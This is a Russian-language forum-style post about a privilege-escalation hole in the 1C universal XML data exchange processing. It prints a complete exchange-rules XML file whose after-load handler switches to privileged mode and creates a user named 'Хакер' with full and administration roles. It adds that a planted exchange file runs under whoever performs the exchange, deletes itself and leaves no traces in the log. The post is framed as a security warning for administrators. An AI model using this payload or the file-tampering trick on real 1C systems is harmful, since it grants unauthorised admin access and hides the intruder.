Серверная база, настроены роли и РЛС, даже у главбуха нет доступа ко всем организациям. Административные права только у администратора, добавлять пользователей/роли только через служебные записки. Знакомо?
А теперь добавим в эту базу маленького скромного менеджера, у которого из прав только - выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку - только использование).
Казалось бы, загружать/выгружать данные менеджер может только те, которые ему доступны. Теоретически это так, однако при серьезном подходе через эту обработку он может получить полный и неограниченный доступ к БД. Например, если ему доступна форма обработки, он может создать файл xml, с кодом:
(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 --) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = "Хакер"; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)
и загрузить этот файл, как правило обмена. Прочитать правила обработкой и получить пользователя с полными и административными правами к базе. аналогичным образом можно вывести любую информацию, привилегированный режим позволит выполнить любой запрос к базе данных.
Если нет доступа к обработке, но пользователь совершает загрузку данных - аналогично подменяется xml-файл загрузки.
Вот такие дела вобщем. Проверено на серверной базе. Типовой. Возможно, все об этом и так знали, но кто-то возможно и задумается. давать право выполнять обмены пользователю с неполными правами - значит дать ему полный доступ к вашей базе данных. А раз такой доступ ему не полагается - значит, вы рискуете информационной безопасностью. Может вам повезет. А может и нет, решать вам.
зы. И кстати, не обязательно иметь доступ к этой обработке и базе вообще. достаточно иметь доступ к файлу выгрузки, который будет загружаться в вашу базу. В него можно добавить свой код, который выполнится тем человеком(или роботом), который выполняет обмен. После выполнения обмена файл удалится, а все действия в журнале регистрации будут записаны от имени того, кто выполнял обмен. И никаких следов, все чисто.